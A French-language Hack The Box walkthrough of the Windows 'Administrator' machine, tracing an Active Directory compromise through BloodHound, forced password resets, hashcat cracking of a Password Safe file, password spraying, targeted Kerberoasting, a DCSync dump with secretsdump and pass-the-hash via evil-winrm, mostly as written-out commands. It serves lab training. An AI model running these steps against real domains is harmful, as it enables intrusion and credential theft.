- Platforme: Hack The Box
- Lien: Administrator
- Niveau: Moyen
- OS: Windows
Cette box est un scénario de violation supposée, nous avons des identifiants pour le compte suivant : Nom d’utilisateur: Olivia Mot de passe: ichliebedich
L’exploitation commence par l’utilisation des identifiants fournis pour exécuter BloodHound, ce qui révèle un chemin d’attaque impliquant les permissions GenericAll
et ForceChangePassword
. En exploitant ces autorisations, nous compromettons des comptes utilisateurs et accédons au serveur FTP contenant un fichier de base de données Password Safe (psafe3
). L’extraction des informations d’identification de cette base de données nous donne un accès initial au système. En poursuivant l’énumération, nous découvrons un vecteur d’escalade de privilèges avec les permissions GenericWrite
et DCSync
, ce qui nous permet de récupérer le hash de l’administrateur du domaine.
Balayage
nmap -sC -sV -oA nmap/Administrator 10.129.61.195
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 18:18 CDT
Nmap scan report for 10.129.61.195
Host is up (0.060s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-23 06:19:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-23T06:19:10
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.00 seconds
La cible est un contrôleur de domaine utilisant les services courants d’Active Directory tels que Kerberos et LDAP. Nous notons également la présence du service FTP (Microsoft ftpd) sur le port 21. Le nom de domaine est administrator.htb
.
En exécutant netexec smb {TARGET_IP}
nous découvrons que le nom de la machine cible est DC
, nous l’ajouterons également au fichier hosts.
sudo echo "{TARGET_IP} administrator.htb dc.administrator.htb" | sudo tee -a /etc/hosts
Enumération
Commençons l’énumération avec les identifiants fournis. L’utilisateur n’a accès qu’aux partages par défaut.
netexec smb 10.129.61.195 -u Olivia -p ichliebedich
Examinons le service FTP.
netexec ftp 10.129.61.195 -u olivia -p ichliebedich
Olivia ne peut pas accéder au service FTP, probablement en raison d’un manque d’autorisations.
Puisque nous disposons d’informations d’identification valides, lançons Bloodhound.
bloodhound-python -c all -u Olivia -p ichliebedich -d administrator.htb -ns 10.129.61.195
Avec Bloodhound, nous découvrons que Olivia
a la permission GenericAll
sur Michael
, ce qui lui donne un contrôle total sur lui.
Nous découvrons également que Michael
a la permission ForceChangePassword
sur Benjamin
, ce qui nous permet de changer de force son mot de passe si nous réussissons à prendre le contrôle du compte de Michael
.
net rpc password "Michael" "Paswword#@2024" -U "administrator.htb"/"Olivia"%"ichliebedich" -S "dc.administrator.htb"
netexec smb 10.129.61.195 -u michael -p "Paswword#@2024"
Nous modifions avec succès le mot de passe de Michael
et nous nous connectons via SMB.
Ensuite, nous modifions le mot de passe de Benjamin
.
net rpc password "Benjamin" "Paswword#@2025" -U "administrator.htb"/"Michael"%"Paswword#@2024" -S "dc.administrator.htb"
netexec smb 10.129.61.195 -u benjamin -p "Paswword#@2025"
L’opération est un succès!
Ce compte ne dispose également que d’un accès de base aux partages SMB.
Cependant, nous constatons que Benjamin
est membre du groupe Share Moderators
, et qu’il a très probablement les permissions d’accéder aux partages sur ce serveur.
Accès initial
Benjamin
est en mesure de se connecter au serveur FTP.
Il y a un fichier appelé Backup.psafe3
que nous téléchargeons.
Bien que cela ne semble pas avoir d’importance dans ce cas, à chaque fois que vous obtenez une erreur du type
WARNING! x bare linefeeds received in ASCII mode.
, vvous devez probablement exécuter la commandebin
dans FTP puis télécharger le fichier à nouveau pour éviter tout problème.
Hashcat est capable de cracker le fichier psafe3 avec le mode 5200
.
hashcat -a 0 -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
Un fichier
.psafe3
est un fichier de base de données Password Safe. Il est utilisé par l’application Password Safe, un gestionnaire de mots de passe open-source.
Nous récupérons le mot de passe tekieromucho
.
Si vous ne l’avez pas encore, téléchargez l’application avec sudo apt install passwordsafe
et utilisez le fichier ainsi que le mot de passe récupéré pour accéder aux mots de passe.
A l’intérieur du fichier, nous trouvons plusieurs identifiants.
Après avoir créé une liste d’utilisateurs et une liste de mots de passe, nous pouvons effectuer une attaque par force brute afin de trouver les informations d’identification valides.
netexec smb 10.129.61.195 -u users.txt -p pwds.txt --continue-on-success
Les identifiants valides sont emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
. Nous nous connectons avec evil-winrm
et récupérons le drapeau utilisateur.
evil-winrm -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -i administrator.htb
Elévation de Privilèges
Emily a la permission GenericWrite
sur Ethan
.
GenericWrite
peut être utilisé abusivement pour lancer une attaque Kerberost ciblée.
sudo ntpdate {TARGET_IP}
python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
Nous craquons le hachage avec hashcat et récupérons le mot de passe limpbizkit
.
hashcat ethan_hash.txt /usr/share/wordlists/rockyou.txt
Ethan
a la permission DCSync
sur le domaine.
DCSync
permet à un utilisateur ou à un groupe de simuler le comportement d’un contrôleur de domaine, en particulier pour répliquer les données de mot de passe, y compris les hachages NTLM, les secrets Kerberos (krbtgt), et même les informations d’identification du contrôleur de domaine.
Nous pouvons l’utiliser pour récupérer le hash de l’administrateur.
impacket-secretsdump.py 'Administrator.htb/ethan:limpbizkit'@'dc.administrator.htb'
Nous nous connectons avec le hash de l’administrateur et récupérons le drapeau root.
evil-winrm -u 'Administrator' -H "3dc553ce4b9fd20bd016e098d2d2fd2e" -i {TARGET_IP}